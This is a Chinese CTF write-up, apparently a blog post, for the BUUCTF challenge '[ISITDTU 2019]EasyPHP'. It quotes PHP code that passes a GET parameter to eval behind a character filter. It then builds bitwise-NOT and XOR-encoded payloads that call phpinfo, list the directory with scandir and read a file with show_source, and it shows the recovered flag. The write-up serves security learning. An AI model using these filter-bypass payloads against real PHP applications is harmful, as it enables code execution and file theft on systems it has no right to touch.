当前位置: 首页 > article >正文

98,【6】 buuctf web [ISITDTU 2019]EasyPHP

进入靶场

代码

<?php
// 高亮显示当前 PHP 文件的源代码,通常用于调试或展示代码,方便用户查看代码逻辑
highlight_file(__FILE__);

// 从 GET 请求中获取名为 '_' 的参数值,并赋值给变量 $_
// @ 符号用于抑制可能出现的错误信息,若未传递该参数则不会抛出警告
$_ = @$_GET['_'];

// 使用正则表达式检查变量 $_ 中是否包含特定字符
// 这些字符包括空字符(\x00)、数字(0 - 9)、单引号(')、双引号(")、反引号(`)、美元符号($)、
// 与符号(&)、逗号(,)、点号(.)、竖线(|)、左方括号([)、左花括号({)以及字母 defgops 等
// 若包含这些字符,则终止脚本执行并输出提示信息
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )
    die('rosé will not do it');

// 对变量 $_ 进行小写转换,然后使用 count_chars 函数统计其中不同字符的数量
// 0x3 是 count_chars 函数的模式参数,表示返回一个数组,数组的键是字符的 ASCII 码,值是该字符出现的次数
// 接着获取该数组的长度,即不同字符的数量
// 如果不同字符的数量超过 13(0xd 是十六进制的 13),则终止脚本执行并输出提示信息
if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
    die('you are so close, omg');

// 如果上述两个条件都不满足,则将变量 $_ 作为 PHP 代码进行执行
// 这种做法存在严重的安全风险,因为用户可以通过 GET 请求注入恶意代码
eval($_);
?>

总结:绕过正则匹配

字符数量不超过13

1,取反

phpinfo() 是 PHP 里一个十分实用的内置函数,它的主要作用是输出当前 PHP 环境的详细配置信息。

<?php
print(urlencode(~'phpinfo'));
?>
%8F%97%8F%96%91%99%90 
/?_=(~%8F%97%8F%96%91%99%90)();

 

2,分析禁用函数

看看怎么使用没有被禁止的函数读取目录

<?php
echo(urlencode(~'print_r'));
echo nl2br("\n");
echo(urlencode(~'scandir'));
echo nl2br("\n");
echo(urlencode(~'.'));
?>

再测测长度 

<?php
print(strlen(count_chars(strtolower('(%8F%8D%96%91%8B%A0%8D)^(%FF%FF%FF%FF%FF%FF%FF)((%8C%9C%9E%91%9B%96%8D)^(%FF%FF%FF%FF%FF%FF%FF)((%D1)^(%FF)));'), 0x3)));
?>

超了

使用pscadi来代替ntr 

((%8f%8d%96%96%8b%a0%8d)^(%ff%ff%ff%ff%ff%ff%ff)^(%ff%ff%ff%8c%ff%ff%ff)^(%ff%ff%ff%8b%ff%ff%ff))(((%8c%9c%9c%96%8c%96%8d)^(%ff%ff%ff%ff%ff%ff%ff)^(%ff%ff%8f%8c%9c%ff%ff)^(%ff%ff%8d%8b%8b%ff%ff))(%d1^%ff)); 

 

直接读不了,肯定超长度,end()获得数组的最后一个值 

show_source(end(scandir('.')))

((%8D%8D%8D%8D%8D%8D%9E%8D)^(%9A%8D%8D%8D%8D%8D%9B%8D)^(%9A%9A%9E%9B%99%96%96%9A)^(%FF%FF%FF%FF%FF%FF%FF%FF))(((%8D%9E%8D)^(%8D%99%8D)^(%9A%96%9B)^(%FF%FF%FF))(((%8D%9E%8D%9E%8D%8D%8D)^(%9A%9B%8D%99%8D%8D%9A)^(%9B%99%9E%96%9B%96%9A)^(%FF%FF%FF%FF%FF%FF%FF))(%D1^%FF)));

 

flag{664629c2-9083-4685-800a-f6ccbc5d0608}

 


http://www.kler.cn/a/533207.html

相关文章:

  • C语言:深入了解指针3
  • Windows图形界面(GUI)-QT-C/C++ - QT MDI Area
  • SQL范式与反范式_优化数据库性能
  • 【大模型理论篇】DeepSeek-R1:引入冷启动的强化学习
  • 【BUUCTF杂项题】荷兰宽带数据泄露、九连环
  • mysql运维
  • 计算机网络安全与运维的关键 —— 常用端口全解析
  • 【JAVA】Netty使用教程
  • Java 报错:找不到或无法加载主类
  • Maven 项目的基本结构
  • 我们来学人工智能 -- 感悟DeepSeek
  • Llama最新开源大模型Llama3.1
  • Java之线程篇六
  • 关于论文复现的环境配置以及其他的坑点
  • 自研有限元软件与ANSYS精度对比-Bar3D2Node三维杆单元模型-央视大裤衩实例
  • Vue3 完整学习笔记 - 第三部分
  • 【Spring】Spring Cloud Alibaba 版本选择及项目搭建笔记
  • 剑指offer 二叉树 持续更新中...
  • FastPlanner论文解读(一)——前端路径搜索
  • 「全网最细 + 实战源码案例」设计模式——模板方法模式
  • JavaScript语言的面向对象编程
  • 代码随想录算法训练营Day36
  • 深入理解 Rust 模块中的路径与公开性:绝对路径、相对路径和 `pub` 的应用
  • mysql 学习8 函数,字符串函数,数值函数,日期函数,流程函数
  • 18.[前端开发]Day18-王者荣耀项目实战(一)
  • Scheme语言的正则表达式